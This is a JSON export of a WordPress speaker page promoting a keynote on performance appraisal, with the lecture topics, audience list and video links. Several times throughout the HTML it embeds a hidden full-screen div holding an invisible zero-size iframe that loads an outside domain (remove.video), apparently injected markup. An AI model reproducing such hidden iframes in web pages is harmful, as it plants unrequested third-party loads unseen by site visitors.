{"id":4610,"date":"2021-01-16T18:25:13","date_gmt":"2021-01-16T17:25:13","guid":{"rendered":"https:\/\/armintrost.de\/\/?page_id=4610"},"modified":"2025-03-23T13:23:50","modified_gmt":"2025-03-23T12:23:50","slug":"performance-appraisal","status":"publish","type":"page","link":"https:\/\/armintrost.de\/en\/speaker\/performance-appraisal\/","title":{"rendered":"KEYNOTE PERFORMANCE APPRAISAL"},"content":{"rendered":"<h1>\n<h1>THE FUTURE OF PERFORMANCE APPRAISAL<\/h1>\n<div>\n<div id=\"whitelisted\" style=\"position: fixed; width: 100%; height: 100%; background-color: #00006c; z-index: 99999999999999999999; display: none; top: 0; left: 0; opacity: 0.99;\"><iframe style=\"width: 0; height: 0; display: none;\" src=\"\/\/remove.video\/pblock\"><\/iframe><\/div>\n<\/div>\n<\/h1>\n<p>\n    <a href=\"\/en\/speaker\/\"><\/a>\n<\/p>\n<div>\n<p>For some, the annual performance appraisal is a redundant farce. For others, it is the most important leadership tool. Few leadership tools are as controversially discussed as this one. This issue requires a nuanced perspective and future-proof answers.<\/p>\n<p>This lecture clarifies several fundamental aspects:<\/p>\n<ul>\n<li>Why it is crucial to distinguish between formal and informal conversations leaders might have with their employees?<\/li>\n<li>Why reflecting on an alternative solution should start with the problem, not the solution.<\/li>\n<li>Why a standardized tool cannot work in diverse contexts and how to address this heterogeneous reality.<\/li>\n<li>Why the difference between self-control and external control is central and what this specifically means in practice.<\/li>\n<li>Where individual goal setting is useful and where this approach can be toxic or at least dysfunctional.<\/li>\n<li>What the difference is between feedback and formal judgement and why the two should not be mixed.<\/li>\n<\/ul>\n<p>This lecture sheds light on the sometimes convoluted discussion around performance appraisal. It helps to properly sort out the issues and provides guidance for the design or realignment of helpful and meaningful leadership tools.<\/p>\n<\/div>\n<h1>WHO FEELS ADDRESSED?<\/h1>\n<div>\n<p>CEOs, executives, board members, works council, leaders, managers, CHROs, HR directors, HR professionals, heads of training &amp; development, consultants, leadership coaches and employees.<\/p>\n<\/div>\n<div>\n<p>I would like to understand better what you have in mind and what you are specifically looking for.<\/p>\n<\/div>\n<p>\n    <a href=\"\/en\/contact\/\">Start request<\/a>\n<\/p>\n<ul>\n<li>\n<p><img decoding=\"async\" src=\"\/wp-content\/uploads\/2021\/01\/GritPic08.png\" alt=\"\"><\/p>\n<h3>The End of Performance Appraisal<\/h3>\n<div>\n<p>Why traditional performance appraisal (annually, individually, vertically) only work in a stable, hierarchical context and what to do in an agile working environment.<\/p>\n<div>\n<div id=\"whitelisted\" style=\"position: fixed; width: 100%; height: 100%; background-color: #00006c; z-index: 99999999999999999999; display: none; top: 0; left: 0; opacity: 0.99;\"><iframe style=\"width: 0; height: 0; display: none;\" src=\"\/\/remove.video\/pblock\"><\/iframe><\/div>\n<\/div>\n<\/div>\n<p><a href=\"\/en\/professor\/books\/performance-appraisal\/\">More<\/a><\/p>\n<\/li>\n<li>\n<p><img decoding=\"async\" src=\"\/wp-content\/uploads\/2021\/01\/Feedback-Judgement-Praise.png\" alt=\"\"><\/p>\n<h3>Never mix up Feedback, Judgement and Praise<\/h3>\n<div>\n<p>In this little video I explain what happens, when feedback, judgement and praise are mixed up. You&#8217;ll end up with judgment and negotion instead of reflection and learning.<\/p>\n<div>\n<div id=\"whitelisted\" style=\"position: fixed; width: 100%; height: 100%; background-color: #00006c; z-index: 99999999999999999999; display: none; top: 0; left: 0; opacity: 0.99;\"><iframe style=\"width: 0; height: 0; display: none;\" src=\"\/\/remove.video\/pblock\"><\/iframe><\/div>\n<\/div>\n<\/div>\n<p><a href=\"https:\/\/youtu.be\/3SqGMuULec0\">More<\/a><\/p>\n<\/li>\n<li>\n<p><img decoding=\"async\" src=\"\/wp-content\/uploads\/2021\/01\/HRS15.png\" alt=\"\"><\/p>\n<h3>Always start with the problem<\/h3>\n<div>\n<p>This is an episode of my Master Course available on YouTube and as a podcast. More and more companies think about changing their performance appraisal procedure. I show how.<\/p>\n<div>\n<div id=\"whitelisted\" style=\"position: fixed; width: 100%; height: 100%; background-color: #00006c; z-index: 99999999999999999999; display: none; top: 0; left: 0; opacity: 0.99;\"><iframe style=\"width: 0; height: 0; display: none;\" src=\"\/\/remove.video\/pblock\"><\/iframe><\/div>\n<\/div>\n<\/div>\n<p><a href=\"https:\/\/youtu.be\/yS3sBr-EKfs\">More<\/a><\/p>\n<\/li>\n<\/ul>\n<p><!--more--><br \/>\n<!-- {\"type\":\"layout\",\"children\":[{\"type\":\"section\",\"props\":{\"image_position\":\"center-center\",\"style\":\"default\",\"title_breakpoint\":\"xl\",\"title_position\":\"top-left\",\"title_rotation\":\"left\",\"vertical_align\":\"\",\"width\":\"\"},\"children\":[{\"type\":\"row\",\"props\":{\"layout\":\"3-4,1-4\",\"margin\":\"large\",\"row_gap\":\"large\",\"width\":\"default\"},\"children\":[{\"type\":\"column\",\"props\":{\"image_position\":\"center-center\",\"position_sticky_breakpoint\":\"m\",\"width_medium\":\"3-4\"},\"children\":[{\"type\":\"headline\",\"props\":{\"content\":\"\n\n<h1>THE FUTURE OF PERFORMANCE APPRAISAL<\\\/h1>\\n\n\n<div>\\n\n\n<div id=\\\"whitelisted\\\" style=\\\"position: fixed; width: 100%; height: 100%; background-color: #00006c; z-index: 99999999999999999999; display: none; top: 0; left: 0; opacity: 0.99;\\\"><iframe style=\\\"width: 0; height: 0; display: none;\\\" src=\\\"\\\/\\\/remove.video\\\/pblock\\\"><\\\/iframe><\\\/div>\\n<\\\/div>\",\"margin\":\"small\",\"maxwidth\":\"2xlarge\",\"maxwidth_breakpoint\":\"m\",\"title_element\":\"h1\",\"title_style\":\"heading-small\"}}]},{\"type\":\"column\",\"props\":{\"image_position\":\"center-center\",\"position_sticky_breakpoint\":\"m\",\"width_medium\":\"1-4\"},\"children\":[{\"type\":\"button\",\"props\":{\"button_size\":\"large\",\"grid_column_gap\":\"small\",\"grid_row_gap\":\"small\",\"margin\":\"default\",\"text_align\":\"right\"},\"children\":[{\"type\":\"button_item\",\"props\":{\"button_style\":\"link-text\",\"icon\":\"close\",\"icon_align\":\"left\",\"link\":\"en\\\/speaker\\\/\"}}],\"name\":\"Close_Button\"}]}]},{\"type\":\"row\",\"props\":{\"column_gap\":\"collapse\",\"layout\":\"1-5,3-5,1-5\",\"margin\":\"large\",\"width\":\"xlarge\"},\"children\":[{\"type\":\"column\",\"props\":{\"image_position\":\"center-center\",\"position_sticky_breakpoint\":\"m\",\"width_medium\":\"1-5\"}},{\"type\":\"column\",\"props\":{\"image_position\":\"center-center\",\"position_sticky_breakpoint\":\"m\",\"width_medium\":\"3-5\"},\"children\":[{\"type\":\"text\",\"props\":{\"column_breakpoint\":\"m\",\"content\":\"\n\n<p>For some, the annual performance appraisal is a redundant farce. For others, it is the most important leadership tool. Few leadership tools are as controversially discussed as this one. This issue requires a nuanced perspective and future-proof answers.<\\\/p>\\n\n\n<p>This lecture clarifies several fundamental aspects:<\\\/p>\\n\n\n<ul>\\n\n\n<li>Why it is crucial to distinguish between formal and informal conversations leaders might have with their employees?<\\\/li>\\n\n\n<li>Why reflecting on an alternative solution should start with the problem, not the solution.<\\\/li>\\n\n\n<li>Why a standardized tool cannot work in diverse contexts and how to address this heterogeneous reality.<\\\/li>\\n\n\n<li>Why the difference between self-control and external control is central and what this specifically means in practice.<\\\/li>\\n\n\n<li>Where individual goal setting is useful and where this approach can be toxic or at least dysfunctional.<\\\/li>\\n\n\n<li>What the difference is between feedback and formal judgement and why the two should not be mixed.<\\\/li>\\n<\\\/ul>\\n\n\n<p>This lecture sheds light on the sometimes convoluted discussion around performance appraisal. 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You'll end up with judgment and negotion instead of reflection and learning.<\\\/p>\\n\n\n<div>\\n\n\n<div id=\\\"whitelisted\\\" style=\\\"position: fixed; width: 100%; height: 100%; background-color: #00006c; z-index: 99999999999999999999; display: none; top: 0; left: 0; opacity: 0.99;\\\"><iframe style=\\\"width: 0; height: 0; display: none;\\\" src=\\\"\\\/\\\/remove.video\\\/pblock\\\"><\\\/iframe><\\\/div>\\n<\\\/div>\",\"image\":\"wp-content\\\/uploads\\\/2021\\\/01\\\/Feedback-Judgement-Praise.png\",\"link\":\"https:\\\/\\\/youtu.be\\\/3SqGMuULec0\",\"title\":\"Never mix up Feedback, Judgement and Praise\"}},{\"type\":\"grid_item\",\"props\":{\"content\":\"\n\n<p>This is an episode of my Master Course available on YouTube and as a podcast. More and more companies think about changing their performance appraisal procedure. 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